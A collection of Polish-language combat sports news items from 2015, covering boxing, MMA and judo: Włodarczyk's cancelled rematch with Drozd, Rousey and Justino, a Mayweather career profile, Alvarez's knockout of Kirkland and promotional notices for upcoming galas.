Dawid Kasperski był jedną z gwiazd walki wieczoru podczas gali Xplosion Fight Series w Tallinie. Rywalem polskiego zawodnika był Maxim Vorovski. Kasperski przetrwał całą walkę, choć miał kłopoty. Polak nie mógł poradzić sobie z boksem Vorovskiego. W drugiej rundzie Kasperski był liczony, jednak dotrwał do końca. Polak starał się zaskoczyć swojego rywala kopnięciami, ale Vorovski skutecznie bronił się. Sędziowie zwycięzcą pojedynku ogłosili Vorovskiego.

KM

„Diablo” poczeka na rewanż

Krzysztof Włodarczyk przegrał, ale nie z rywalem, lecz z chorobą. 22 maja popularny „Diablo” miał stanąć w ringu w Moskwie w starciu z Grigorijem Drozdem, jednak z powodu złego stanu zdrowia polskiego boksera pojedynek nie odbędzie się.

Podczas zgrupowania w Wiśle Włodarczyk musiał odpoczywać, gdyż dopadł go wirus. Choroba uniemożliwia „Diablo” regularne treningi, a do walki zostało mniej niż dwa tygodnie, co sprawia, że na ostatniej prostej pięściarz jest wyłączony z przygotowań. Włodarczyk przyjmuje antybiotyk i jego stan uniemożliwia mu aktywność fizyczną. Zapadła już decyzja o odwołaniu pojedynku z Grigorijem Drozdem. Włodarczyk chciał zrewanżować się rosyjskiemu pięściarzowi za wrześniową porażkę.

„Diablo” stracił na rzecz Drozda mistrzowski pas WBC w wadze junior ciężkiej. Po dwunastu rundach sędziowie jednogłośnie wskazali na Rosjanina, który był zdecydowanie lepszy. Większa dynamika w ringu, celne ciosy i kontrola pojedynku – tak prezentował się Drozd. Z kolei Włodarczyk był cieniem pięściarza, który swoją zdecydowaną postawą pokonywał kolejnych rywali. Po wrześniowej porażce musiał trochę ochłonąć, jednak długo nie wytrzymał bez boksu. Polska straciła jedynego mistrza świata w pięściarstwie, ale „Diablo” zapowiedział swój powrót i chęć rewanżu z Drozdem. Rozmowy potoczyły się błyskawicznie. Strony doszły do porozumienia i Włodarczyk miał stanąć przed kolejną szansą. Celem numer jeden dla „Diablo” stało się odzyskanie mistrzowskiego pasa WBC.

Intensywne treningi i przygotowania przebiegały bez problemów. W Wiśle Włodarczyk miał wszystko usystematyzować. Rozpracować rywala na cząsteczki i jechać do Moskwy po zwycięstwo. Jednak pojawiły się kłopoty zdrowotne, które uniemożliwiły pięściarzowi treningi. Konieczny okazał się antybiotyk. Tym samym Włodarczyk nie ma szans, aby przygotować się do rewanżowego pojedynku w stu procentach. Pojedynek ten ma dla niego znaczenie kluczowe w kontekście całej kariery. W związku z zaistniałą decyzją zapadła decyzja o odwołaniu walki.

Co dalej? Drozd przygotowuje się na 22 maja, gdyż liczy, że wtedy będzie boksował. Grupa Sferis KnockOut Promotions zaproponowała kandydaturę potencjalnego rywala Rosjaninowi. Włodarczyka w ringu miałby zastąpić Łukasz Janik. Bokser przyjął propozycję i jest gotowy za niespełna dwa tygodnie pojawić się na ringu w Moskwie. Teraz istotny jest ruch ze strony obozu Drozda. W tak krótkim czasie trudno będzie Rosjaninowi znaleźć pięściarza, który „na wariata” zechce wejść do ringu.

Kwestią fundamentalną jest również określenie, czy Włodarczyk będzie miał jeszcze okazję zmierzyć się z Drozdem. Choroba nie wybiera, więc tutaj nie można mieć wątpliwości, że główną rolę odegrały czynniki pozasportowe. Poza tym zdrowie jest najważniejsze. Być może strony wrócą do rozmów  i do pojedynku Włodarczyk – Drozd dojdzie w późniejszym terminie. Na obecną chwilę tej walki nie ma. Drozd chce boksować 22 maja, czy jego rywalem będzie Łukasz Janik?

KM  

Rousey daje czas Justino

Temat tego pojedynku wisi w powietrzu od dawna. Wszyscy chcą zobaczyć w akcji Rondę Rousey oraz Cristiane Justino. Pytanie, kiedy ten serial znajdzie swój finał?

Justino rozbija kolejne rywalki w organizacji Invicta, Rousey stała się twarzą UFC. Muszą się spotkać. Walka tych pań zelektryzowałby cały świat mieszanych sztuk walki i wyłoniłaby królową MMA. Bo jak wiadomo – królowa może być tylko jedna. Na pozór wszystko wydaje się proste, jednak wcale tak nie jest. Chęci to nie wszystko. Zawodniczki na poziomie sportowym mogłyby przenieść wszystkich w inny wymiar. Rousey nie ma litości dla swoich rywalek, które za każdym razem muszą liczyć się z tym, że w oktagonie przeżyją ciężkie chwile. Z kolei „Cyborg” jest twarda, zdecydowana i nie ma zamiaru nikomu ustępować. Rousey stała się dla niej przeszkodą na drodze do królowania.

Skoro obie strony chcą, to dlaczego pojedynek nie został jeszcze zakontraktowany? Bez wątpienia kwestią podstawową są warunki zawodniczek. Każda ma swoje wymagania, od których w żaden sposób nie chce odejść. Wydaje się, że bardziej skora do kompromisu jest Justino. Z wielu stron słychać głosy potwierdzające, iż to Rousey sprawia problemy i to z jej powodu nie doszło jeszcze do walki. Głównym postulatem, który wysuwa „Rowdy” jest zejście Justino do limitu kategorii koguciej. Zawodniczki prowadzą zażarte dyskusje już trzy lata. Przez ten czas zapewniały o chęci rywalizacji, eksponowały swoje mocne strony i nie szczędziły sobie cierpkich słów. Wydaje się, że nastąpił pewien przełom. Głos zabrała Rousey, która jasno stwierdziła, że do walki musi dojść w najbliższym czasie albo wcale. – Pięć lat trwały negocjacje, które w końcu doprowadziły do walki Pacquiao-Mayweather, na którą wykupiono 5,5 miliona PPV. Nasze animozje trwają już trzy lata. W ciągu dwóch kolejnych lat walka musi zostać zorganizowana. Jeśli nieto po prostu przestanę o niej myśleć – powiedziała Amerykanka.

Czy tym samym gwiazda UFC wywiera presję na „Cyborg”? W pewnym sensie tak, jednak jest to kolejny element „wojny wewnętrznej”. Dopóki do walki nie dojdzie będą trwały tego typu przepychanki. Teoretycznie Rousey jest już tym zmęczona, jednak nadal będzie uczestniczyła w procesie budowania atmosfery wokół ewentualnego pojedynku. To czysty marketing, którego celem jest wzbudzenie zainteresowania. Prędzej czy później do tego pojedynku dojdzie. Inny scenariusz nie wchodzi w grę.

Teraz przed Rondą Rousey inne wyzwanie. Podczas UFC  190 w Rio de Janeiro zmierzy się z Brazylijką Bethe Correią. Być może okaże się, że po tym pojedynku „Rowdy” będzie musiała spuścić głowę. Dlaczego? Bo przyjdzie jej zmierzyć się z rywalką, która jeszcze nigdy nie przegrała. Correia trafiła do UFC w grudniu 2013 roku i potwierdziła wysokie umiejętności. Justino będzie to wszystko bacznie obserwowała. Czy Rousey po raz kolejny zachwyci świat? Na pewno zrobi wrażenie, gdy poinformuje o pojedynku z Justino. Ale kiedy to będzie?

KM

Floyd Mayweather Jr

Amerykański bokser urodzony 24 lutego 1977 roku  w Grand Rapids. Floyd jest aktualnym mistrzem świata federacji WBC, WBA i WBO w wadze półśredniej, WBC i WBA w wadze junior średniej, oraz były zawodowy mistrz świata organizacji WBC w kategoriach junior lekkiej, lekkiej, junior półśredniej i lekkośredniej oraz organizacji IBF w kategorii półśredniej.  W walkach amatorskich Floyd zaliczył 84 zwycięstwa i 6 porażek. Trzykrotnie wygrywał Amerykański turniej Golden Gloves (1993,1994,1996). W 1996 roku podczas Igrzysk Olimpijskich w Atlancie zdobył brązowy medal w kategorii piórkowej. W półfinale przegrał z Serafinem Todorowem z Bułgarii.  Zawodową karierę rozpoczął w październiku 1996 roku.  W swojej 18 walce zdobył tytuł mistrza świata WBC kategorii junior lekkiej, pokonując Genaro Hernandeza.  Jeszcze w grudniu tego samego roku pierwszy raz obronił swój tytuł, pokonując przez techniczny nokaut w drugiej rundzie Angela Manfredy. W 1999 roku stoczył kolejne trzy wygrane walki, z Carlosem Alberto Ramonem Riosem, Justinem Juuko i Carlosem Gerena. W następnym roku odbył dwie walki. 18 marca wygrał z byłym mistrzem świata WBC w kategorii piórkowej, Gregorio Vargasem, a siedem miesięcy później pokonał Emanuela Augustusa. 20 stycznia 2001 roku wygrał z Diego Corralesem.  W 2001 roku jeszcze dwukrotnie obronił swój tytuł, najpierw w maju pokonał na punkty przyszłego mistrza świata IBF w kategorii junior lekkiej Carlosa Hernandeza.  W listopadzie wygrał przez TKO w dziewiątej rundzie z Jesusem Chavezem.  Po walce z Chavezem, Floyd porzucił swój pas mistrzowski i zmienił kategorię wagową na wyższą. W kategorii lekkiej stoczył zaledwie cztery pojedynki, ale wszystkie były pojedynkami mistrzowskimi. W 2002 roku dwukrotnie walczył z Jose Luisem Castillo. 20 kwietnia pokonał meksykanina na punkty i odebrał mu tytuł mistrza świata WBC. 7 grudnia odbyło się rewanżowe starcie, które również zakończyło się wygraną Amerykanina.  Rok później pokonał Victoriano Sosę i Philipa N’dou. W 2004 roku Mayweather Jr. ponownie zmienił kategorie wagową. 22 maja w pierwszej walce w kategorii junior półśredniej pokonał na punkty byłego mistrza organizacji WBO, DeMarcusa Corleya.  To była jedyna walka którą stoczył w 2004 roku.  W styczniu 2005 roku w walce eliminacyjnej WBC, łatwo pokonał Henry’ego Bruselesa.  Pięć miesięcy później pokonał przez TKO mistrza WBC Arturo Gattiego.  19 listopada 2005 roku Mayweather stoczył nietytułową walkę z byłym mistrzem świata WBA, Sharmba Mitchellem, pokonując go w szóstej rundzie przez TKO.  Walka odbyła się w kategorii półśredniej.  8 kwietnia 2006 roku zmierzył się z Zabem Judahem w walce o tytuł mistrza IBF.  Walka zakończyła się wygraną Floyda na punkty.  30 czerwca 2006 roku Mayweather zrezygnował z tytułu IBF.  4 listopada tego roku pokonał na punkty Carlosa Baldomira i odebrał mu tytuł mistrza świata WBC.  5 maja 2007 roku doszło do długo oczekiwanej walki między Mayweatherem Jr. a mistrzem olimpijskim z Barcelony i wielokrotnym zawodowym mistrzem świata w sześciu różnych kategoriach wagowych Oscarem de la Hoyą. Pojedynek był bardzo wyrównany i zakończył się wygraną Floyda na punkty. W kolejnej walce, 8 grudnia 2007, zmierzył się z niepokonanym wcześniej Anglikiem, Ricky Hattonem, byłym mistrzem świata IBF i WBA w kategorii junior półśredniej i byłym mistrzem świata IBF kategori półśredniej. Amerykanin wygrał pojedynek przez techniczny nokaut w dziesiątej rundzie.  6 czerwca 2008 roku poinformował o zakończeniu kariery bokserskiej. 19 września 2009 powrócił jednak na ring w walce z Juanem Marquezem.  Pierwotnie do tego pojedynku miało dojść  18 lipca, został on jednak przełożony z powodu kontuzji żeber Amerykanina. Mayweather wygrał na punkty jednogłośną decyzją sędziów.  1  maja 2010 pokonał na punkty Shane’a Mosleya.  Na ring powrócił 17 września 2011 roku nokautując w czwartej rundzie mistrza świata federacji WBC Victora Ortiza, zdobywając pas mistrzowski w wadze półśredniej. 5 maja 2012 roku stoczył wygrany pojedynek z Miguelem Cotto o pas mistrza świata WBA.  Na początku 2013 roku Mayweather podpisał kontrakt z koncernem CBS/Showtime . Opiewa on na kwotę 250 mln dolarów za sześć walk.  4 maja 2013 roku stoczył pierwszą z sześciu walk. Jego rywalem był Robert Guerrero, Floyd wygrał jednogłośnie na punkty w obronie pasa WBC Wagi półśredniej. 13 września 2013 doszło do starcia między Mayweatherem a Saul „Canelo” Alvarezem. Amerykanin zdeklasował młodszego rywala unifikując tym samym pasy WBA/WBC wagi junior średniej. 3 maja 2014 roku stoczył walkę z mistrzem WBA wagi półśredniej Marcosem „ El Chino” Maidna. Po bardzo wyrównanej walce, ostatecznie zwyciężył Mayweather.  Tym zwycięstwem Mayweather zunifikował pasy WBC/WBA w wadze półśredniej.  13 września 2014 roku doszło do rewanżu z Madiną.  Po dwunastu rundach sędziowie nie mieli wątpliwości ze wskazaniem wygranego. Ponownie lepszym okazał się Mayweather. 2 maja 2015 roku w MGM Grand w Las Vegas doszło do walki z Mannym Pacquiao. Floyd swoją defensywną taktyką opartą na świetnej pracy nóg zdominował Filipińczyka, odnosząc swoje 48 zwycięstwo z rzędu bez porażki. Amerykanin tym samym zunifikował trzeci pas mistrzowski federacji WBO wagi półśredniej. 

Pogorzelec w gazie

Daria Pogorzelec rozkręciła się na dobre. Brązowy medal zdobyty w Zagrzebiu okazał się przełomowy. Nasza judoczka podczas Grand Slam w Baku potwierdziła wysoką dyspozycję.

Początek sezonu w wykonaniu zawodniczki Wybrzeża Gdańsk nie należał do najlepszych. Jednak z zawodów na zawody Pogorzelec wyglądała coraz lepiej. Aż przyszedł czas na występ w Zagrzebiu, gdzie nasza judoczka wywalczyła brązowy medal. Cztery wygrane walki dały jej miejsce na podium i ważne rankingowe punkty. W stolicy Chorwacji Pogorzelec uległa jedynie Anamari Velensek. Kolejny występ judoczka z Gdańska również zaliczy do kategorii udanych. Pogorzelec w Baku zaprezentowała się z bardzo dobrej strony i szła jak burza. Polka nie dawała swoim rywalkom żadnych szans, waleczna i ambitna judoczka Wybrzeża Gdańsk nie pozostawiała złudzeń, kto jest lepszy. Przegrała tylko raz – w półfinale z Akari Ogatą. Porażka kosztowna, gdyż pozbawiła naszą reprezentantkę szans na walkę w finale. Warto odnotować fakt, że w drodze do brązowego medalu Polka odprawiła z turnieju rywalki z najwyższej półki. Kayla Harrison to zawodniczka, której nikomu nie trzeba przedstawiać. Mistrzyni olimpijska z Londynu, była mistrzyni świata w Baku była rozstawiona z numerem 1 i wydawała się naturalną faworytką do zwycięstwa. Amerykanka w ćwierćfinale trafiła na Darię Pogorzelec, która tego dnia była w lepszej dyspozycji. W starciu o brązowy medal Polka rozprawiła się z Marhinde Verkerk. W kategorii 78kg triumfowała Holenderka Guusje Steenhuis, z którą Pogorzelec wygrała decydujący bój o trzecie miejsce w Zagrzebiu.

Dobry występ w Baku pozwolił Polce na zdobycie 200 punktów do światowego rankingu oraz wzbogacenie swojego konta o 2000 dolarów. Dzięki temu Pogorzelec w hierarchii najlepszych judoczek awansowała na 8.pozycję. W kategorii 78kg liderką pozostaje Kayla Harrison. Zawodniczka Wybrzeża Gdańsk w tej chwili jest pewna wyjazdu na igrzyska olimpijskie w Londynie. Ósma, ale w kategorii 70kg jest Katarzyna Kłys. Miejsce gwarantujące udział w Rio zajmuje również Agata Ozdoba w 63kg (15. lokata).

Brązowa medalista mistrzostw Europy z Montpellier w Baku była o krok od podium. Niewiele zabrakło, aby Ozdoba zdobyła brązowy medal i podskoczyła w światowym rankingu. Nie udało się. Polka przegrała rywalizację o trzecie miejsce z Alice Schelsinger. Ostatecznie Ozdoba uplasowała się na 5. pozycji. Cenne punkty do światowego rankingu zdobył Łukasz Błach (81kg). Polak zajął 7.miejsce, a triumfował reprezentant Rosji – Khasan Khalmurzaev.

W poprzednich zawodach, w Zagrzebiu, reprezentacja Polski wywalczyła dwa medale. Oprócz Darii Pogorzelec brąz wywalczyła Agata Perenc. Teoretycznie w Baku wynik był gorszy, jednak należy uwydatnić fakt, że punktowała trójka naszych zawodników. Na obecną chwilę na igrzyska przepustkę ma czworo naszych reprezentantów – Kłys, Pogorzelec, Ozdoba i Sarnacki. Blisko kwalifikacji są Agata Perenc oraz Łukasz Błach.

KM

Alvarez bez litości dla rywala

W Houston Saul „Canelo” Alvarez potwierdził wysokie umiejętności. Meksykanin nie dał żadnych szans Jamesowi Kirklandowi, który z trudem podnosił się z desek.

Obaj pięściarze byli przygotowani na otwarte starcie., Walka bez kalkulacji, gdzie królowały potężne ciosy. Rzecz jasna, że faworytem pojedynku był Alvarez, jednak Kirkland wcale nie zamierzał poddawać się na starcie.

Amerykanin aktywnie rozpoczął walkę. Kirkland chciał przestraszyć rywala serią ciosów, jednak ten je spokojnie przyjmował i kontrolował sytuację. W pewnym momencie Alvarez zastopował zapędy Amerykanina prawym sierpowym. To był początek. „Canelo” zaczął przejmować inicjatywę  w ringu i po kombinacji lewy hak-prawy sierp posłał Kirklanda na deski. Ten wstał, choć wcale łatwo nie było. Od początku drugiej rundy Alvarez chciał dokończyć dzieła, jednak Amerykanin twardo się trzymał. Trzeba oddać, że Kirkland był wytrzymały i mimo potężnych ciosów rywala oraz własnej chwiejności dotrwał do końca pierwszej odsłony, a po szturmowym ataku Meksykanina na początku drugiej przeszedł do ofensywy. Amerykanin starał się przeciwstawić rywalowi, co rozgrzało tylko atmosferę. Trzecia runda, jak się okazało ostatnia, była wisienką na torcie pojedynku. Krótkiego, bo krótkiego, ale pełnego emocji i bokserskich popisów. Kirkland poczuł w sobie siłę i na początku trzeciego starcia ruszył na „Canelo”. Jednak doświadczenie Alvareza  dało o sobie znać. Amerykanin ruszył na Meksykanina, jednak ten zrobił jeden krok w tył i potężnie huknął. Prawy podbródkowy doszedł do szczęki Kirklanda, który po raz drugi padł na deski. Wstał i miał nadzieję, że uda mu się nawiązać walkę z Meksykaninem. Alvarez poczuł „krew” i wiedział, iż jego rywal jest już mocno zachwiany. Kirkland chciał wyprowadzić cios, ale w tym momencie objawiła się szybkość „Canelo”. Meksykanin prawym sierpowym załatwił Amerykanina, który niczym rażony prądem padł na deski. Sędzia bez wahania ogłosił nokaut, a Kirkland potrzebował minuty, aby dojść do siebie.

Zaledwie trzy rundy rywalizacji, ale rywalizacji niezwykle ciekawej. Pojedynek obfitował w mocne ciosy, zwroty akcji. „Canelo” udowodnił swoją wartość. Kontrolował pojedynek i wykazał się czujnością. Alvarez wyprowadził potężny cios, który pozbawił jego rywala jakichkolwiek złudzeń. Meksykanin powiększył zasób swojego konta o 3,5 miliona dolarów, Kirkland zarobił 1,3 miliona.

Alvarez po walce otwarcie przyznał, że sposób w jaki uporał się z Amerykaninem był niezwykle efektowny. – Wydaje mi się, że był to jeden z najbardziej widowiskowych nokautów w mojej karierze. Rywal zaczął walkę w nieco innym stylu niż myślałem, ale szybko przejąłem kontrolę nad walką i zakończyłem ją przed czasem – powiedział „Canelo”. Zarazem było czterdzieste piąte zwycięstwo Meksykanina na zawodowym ringu. Do tej pory przegrał tylko raz.

KM

 

Kontuzja Pettisa, luksusowy McGregor

Myles Jury pilnie przygotowywał się do starcia z Anthony’m Pettisem, jednak 26-latek musi pogodzić się ze zmianą rywala. Popularny „Showtime” doznał kontuzji, która uniemożliwia mu występ na lipcowej gali UFC on Fox 16.

Pettis po porażce w starciu z Rafaelem Dos Anjosem liczył, że będzie mógł wrócić na właściwe tory. „Showtime” miał fantastyczną serię pięciu zwycięstw z rzędu, jednak Amerykanin trafił na lepiej dysponowanego rywala i musiał pogodzić się z porażką. Przy okazji stracił mistrzowski pas UFC. Kolejnym wyzwaniem w karierze Pettisa miał być Myles Jury. Być może będzie, ale na pewno nie teraz. Pettis z powodu kontuzji łokcia nie wystąpi podczas UFC on Fox 16. Amerykanin liczy, że jego pauza nie będzie zbyt długa. Pettis doskonale pamięta kontuzję kolana, która wyeliminowała go ze startów w MMA na rok. „Showtime” musi przymusowo odpoczywać, ale Jury pojawi się w oktagonie.

26-latek jest ciekawym fighterem. Do UFC trafił w czerwcu 2012 roku i wygrał sześć kolejnych walk. Warto nadmienić, że do niedawna miał nieskazitelny bilans, gdyż zanotował piętnaście zwycięstw. Pierwszą porażkę w karierze Jury poniósł w starciu z Donaldem Cerronem, jednak nie był to efekt nokautu ani poddania, lecz decyzji sędziów. Amerykanin liczy, że w najbliższej walce uda mu się zwyciężyć i dalej kroczyć drogą triumfów. Pokonanie Pettisa byłoby ogromną szansą na zaistnienie, jednak los chciał inaczej. UFC musiało dość szybko znaleźć zastępstwo. Wybór padł na Edsona Barbozę. Brazylijczyk w tym roku walczył raz i przegrał. Jego pogromcą okazał się Michael Johnson. Warto dodać, że w ubiegłym roku podczas UFC on Fox 11 Barboza stoczył pojedynek z Donaldem Cerronem. Brazylijczyk poległ już w pierwszej rundzie. Tym samym dojdzie do spotkania dwóch fighterów, którzy mają rachunki do wyrównania z Cerronem. Obaj są zdeterminowani, aby wygrać. Jednak Jury liczy, że wróci na właściwe tory i będzie mógł myśleć o walce o pas wagi lekkiej.

O mistrzostwo, ale w wadze piórkowej powalczy Conor McGregor (na zdjęciu). 11 lipca podczas UFC 189 w Las Vegas zmierzy się z posiadaczem pasa Jose Aldo. Powiedzieć, że Irlandczyk słynie z kontrowersyjnych zagrań to tak jakby nie wypowiedzieć ani słowa. McGregor to showman, który robi wokół siebie ogromne zamieszanie. Podczas promocji pojedynku w Dublinie zabrał pas Aldo i między zawodnikami doszło do szarpaniny. Potrzebna była interwencja, aby rozdzielić Irlandczyka i Brazylijczyka. McGregor do najważniejszej walki w swojej karierze chce przygotować się jak najlepiej. Dlatego też postanowił wynająć ekskluzywny apartament. Lokum w Las Vegas MAC Mansion liczy 12 000 m2. Tak więc niczego nie powinno mu zabraknąć. Warunki komfortowe, a jak to było w jednej polskiej komedii: „Marian, tutaj jest jakby luksusowo”. A Aldo zapewne patrzy na to ze spokojem.

KM

Cierpliwość Tysona

Tyson Fury wielokrotnie powtarzał, że czeka na starcie z Władimirem Kliczko. Brytyjczyk przekonany jest o swojej wielkości i ogromnych możliwościach. Prawdopodobnie będzie miał okazję, aby to potwierdzić.

Bryant Jennings miał być tym pięściarzem, który pozbawi potężnego Władimira wszystkich pasów. Amerykanin starał się, ale wymiernego efektu mu to nie przyniosło. Kliczko w ringu jest spokojny, skuteczny i wcale nie musi się nadwyrężać, aby w ostatecznym rozrachunku wygrać i dopisać kolejne zwycięstwo do swojego bilansu. Ukrainiec ma ogromne doświadczenie, które pozwala mu pokonywać kolejnych krnąbrnych rywali. A Fury właśnie do takich należy.

Brytyjczyk posiada status obowiązkowego pretendenta  do tytułu WBO. Strony powinny rozpocząć rozmowy na temat walki. Początkowo obóz Kliczko niechętnie podchodził do ewentualnego starcia z Fury’m, jednak teraz sytuacja nieco zmieniła się. Poniekąd jest to wymuszone decyzją WBO. Jednak trudno podejrzewać, aby Ukrainiec unikał konfrontacji z Brytyjczykiem. Tyle, że może twardo negocjować, gdyż jak już mówił powoli myśli o zakończeniu kariery, choć nie nakreślił terminu swojego odejścia. Z pewnością pojedynek mógłby być interesujący. Zapewne, ale pod warunkiem, że Fury walczyłby z Ukraińcem, a nie tak jak większość pretendentów obawiał się walki. W większości przypadków szumne zapowiedzi po wejściu na ring nijak mają się do rzeczywistości. A że Fury gadać lubi to ciekawie być musi. Na konferencjach, podczas wywiadów, ale czy w ringu? Do tej pory Fury na zawodowym ringu nie przegrał i wielokrotnie pokazywał ciekawy repertuar. Wiele z jego pojedynków kończyło się przed czasem.

Kwestią podstawową jest porozumienie między stronami. Nie trzeba szukać daleko. Przed walką Kliczko – Jennings negocjacje wcale nie były łatwe, ale udało się osiągnąć porozumienie. Ukrainiec nawet był gotów stoczyć pojedynek w Madison Square Garden. Teraz pojawia się możliwość walki na Wembley.  – Niewykluczone, że walka z Kliczko odbędzie się w Wielkiej Brytanii. Prawdopodobnie do pojedynku dojdzie we wrześniu lub październiku. Istnieje możliwość, że walka odbyłaby się na stadionie Wembley lub w Manchesterze – mówił Shelley Finkel, doradca Tysona Fury’ego. Przedstawiciele pięściarzy muszą usiąść do rozmów i wypracować kompromis, który zadowoli obie strony. Wydaje się, że jesienny termin walki jest jak najbardziej prawdopodobny.

W tym temacie warto poświęcić kilka słów ostatnim wydarzeniom w świecie boksu. Z pewnością Mayweather i Pacquiao zaostrzyli apetyty fanów boksu, a Wilder rozradował Amerykanów. A Kliczko po raz kolejny pokazał klasę. Zdanie na temat trzech największych pojedynków tego roku wyraził wielki mistrz pięściarstwa Evander Holyfield. – Widziałem trzy największe walki tego roku: Wilder vs Stiverne, Kliczko vs Jennings oraz Mayweather vs Pacquiao. Wiecie co? Widziałem niewiele boksu. 36 rund, zero nokdaunów. Dużo klinczowania, uciekania. Trzy walki po dwanaście rund. Żaden z pięściarzy nie miał większych kłopotów. Jak to może być walka bokserska, skoro oni nie starają się nawet zadawać ciosów?

KM

Kolejka chętnych

Jeszcze tak naprawdę  nie opadła atmosfera po walce XXI wieku Floyd Mayweather Jr. – Manny Pacquiao, a akces do rywalizacji z popularnym „Moneyem” zgłaszają kolejni pięściarze. Zapewne chcą walczyć o najwyższe możliwe tytuły, poczuć atmosferę show, a przy okazji zrobić dobry interes.

Nadal szumią echa walki Mayweather – Pacquiao. „Pacman” wszedł do ringu z kontuzją ręki, co zmusiło go do modyfikacji taktyki. Filipińczyk chciał przyjąć zastrzyk przeciwbólowy, jednak Komisja Sportowa Stanu Nevada nie wyraziła na to zgody. Mayweather uważa, że team Pacquiao tłumaczy się, gdyż będzie chciał doprowadzić do walki rewanżowej. Idea kolejnego pojedynku Amerykanina i Filipińczyka zagościła już w eterze, ale na pierwszy plan starają się przebić inni panowie.

Wiadomo, że nazwisko Mayweather ściśle wiąże się z pieniędzmi. Ale nie można odbierać Amerykaninowi potencjału sportowego i kunsztu bokserskiego. Krótko: zna się na robocie, najlepiej świadczą o tym pasy mistrzowskie, które obecnie posiada. Jednak dla wielu pojedynek z Mayweatherem jest przepustką do innego świata. Mogą doświadczyć czegoś niezwykłego, gdyż „Money” potrafi stworzyć z każdej walki show. Pojedynki, w których udział bierze Mayweather urastają do rangi wydarzenia. Czegoś, czym ludzie żyją. Czegoś, co przyciąga uwagę i nie pozwala zapomnieć. Wielu pięściarzy chce uczestniczyć w takim wydarzeniu.

16 maja Giennadij Gołowkin zmierzy się z Willim Monroe Jr. w obronie pasa WBA wagi średniej. Następnym rywalem Kazacha miałby być Floyd Mayweather Jr., co byłoby spełnieniem marzenia boksera ze Wschodu. Ponadto, Gołowkin chciałby rywalizować w limicie kategorii junior średniej. – Nie ukrywam, że jest to moja wymarzona walka. Uważam Floyda za prawdziwego mistrza, który ma inny styl walki niż ja. Chcę wielkich walk, które miałby dramatyczny przebieg – mówił Gołowkin. Kazach jest jednym z tych, którzy chcieliby wejść do ringu z „Moneyem”, więc de facto to Amerykanin rozdaje karty. Od dawna pojedynku z Mayweatherem domaga się Amir Khan. 29 maja Brytyjczyk podejmie Chrisa Algieriego i po tej walce jest otwarty  na propozycje ze strony „Moneya”. Amerykanin poinformował, że kolejny pojedynek chciałby stoczyć we wrześniu, ale Khanowi nie za bardzo to odpowiada. Brytyjczyk będzie miał za mało czasu na przygotowania z powodu ramadanu. Jednak Khan jest zdeterminowany, aby do tej walki doszło, gdyż zna receptę na wygraną. – Jestem gotowy stanąć do walki z Mayweatherem i wiem, co zrobić, aby go pokonać. Walka we wrześniu jest jednak niemożliwa – zaznaczył brytyjski pięściarz. 

wiło się nazwisko Keitha Thurmana. Z pewnością starcie tych dwóch pięściarzy mogłoby wyglądać ciekawie, gdyż obaj nigdy nie ponieśli porażki na zawodowym ringu. Thurman dzierży w swoich dłoniach pas WBA kategorii półśredniej. – Doskonale wiecie, że chcę tej walki. Uważam, że ja i Floyd dalibyśmy niesamowite widowisko – powiedział Thurman.

Wokół Mayweathera wszystko się kręci. Amerykanin może wybierać i liczyć zyski. Kolejny ruch w jego rękach i to on będzie rozdawał karty, a inni muszą czekać.

KM

Manuel Avila i Diego De la Hoya wystąpią na gali w Los Angeles

Manuel Avila i Diego De la Hoya wystąpią na gali w Los Angeles

8 maja podczas wieczoru bokserskiego w Mieście Aniołów, grupa Golden Boy wystawi na ring dwóch gorących prospektów kategorii super koguciej (limit 122 funtów).

Niepokonany w szesnastu walkach Manuel “Tino” Avila (16-0, 7 KO) krok po kroku, z walki na walkę udowadnia obserwatorom, iż jego aspiracje mistrzowskie nie są tylko standardowym myśleniem życzeniowym każdego pięściarza, ale że ma ku realizacji tego celu bardzo poważne argumenty. W ostatnim pojedynku, ten zaledwie 23 letni pięściarz pokonał przed czasem solidnego Sergo Friasa, efektowna kombinacja ciosów zakończona lewym hakiem na korpus zafundowała pierwsze klasyczne KO walecznemu Meksykaninowi. W nocy z 8 na 9 maja rywalem “Tino” będzie 24-letni Erik Ruiz (13-2, 6 KO), również z Kalifornii.

Ponadto na gali wystąpi także zyskujący coraz większy rozgłos kuzyn legendarnego Oscara, Diego De La Hoya (9-0, 6 KO). Wyssany z mlekiem matki talent pozwolił mu na zaliczenie dziewięciu imponujących występów w zaledwie 20 miesięcy. Młodziuteńki (20 lat) “Golden Kid” poprzeczkę zawiesza sobie wysoko, już w ostatnim pojedynku wygrał do wiwatu z byłym pretendentem do mistrzowskiego tytułu Manuelem Romanem (17-4-3, 6 KO), co nie często zdarza się w tym wieku i na tym etapie kariery. Występujący w kategorii super koguciej bokser nie poznał jeszcze nazwiska rywala na galę w L.A.

Aby zobaczyć w akcji młode gwiazdy z grupy Oscara De La Hoyi nie zapomnij włączyć FightKlubu. Relacja na żywo w nocy z 7 na 8 maja od 04:00. Powtórka w piątek 8 maja od 11:30. Serdecznie zapraszamy!

Źródło: materiały prasowe

Wybuchowe starcie w wadze ciężkiej na gali ESPN w nocy z 8 na 9 maja

Wybuchowe starcie w wadze ciężkiej na gali ESPN w nocy z 8 na 9 maja

W jednej z ostatnich imprez ESPN "Friday Night Fights" dojdzie do wybuchowego starcia w kategorii ciężkiej. W nocy z 8 na 9 maja dwóch reprezentantów wschodniego wybrzeża USA, Amir "Hardcore" Mansour (21-1, 16 KO) i Joey Dawejko (14-3, 7 KO) zmierzą się w starciu o tytuł mistrza stanu Pensylwanii.

Idea tego zestawienia zrodziła się w głowie posiadającego polskie korzenie Dawejki, którego największym zwycięstwem jest jak do tej pory niejednogłośna wiktoria nad niezłym Derriciem Rossym. Po brutalnym nokaucie Mansoura nad Fredem Kassi 8 listopada ubiegłego roku, które Sports Illustrated uznało za nokaut roku, Dawejko i jego ludzie zaczęli publicznie domagać się starcia z siejącym postrach "Hardcorem". Dali do zrozumienia, że Joey dojrzał do takiego wyzwania.

– Dostaliśmy datę od ESPN, nikt inny oprócz tego dzieciaka nie chciał ze mną zmierzyć, więc stanie się. Dostanie to, czego chciał – podsumował unikany przez czołówkę wagi ciężkiej "Hardcore" Mansour.

Fizyczny fenomen, który w wieku 42 lat posiada szybkość i refleks młodzieńca zdradza, że jego witalność wypływa z braku zmęczenia materiału, a dokładniej – z braku długiej kariery amatorskiej.

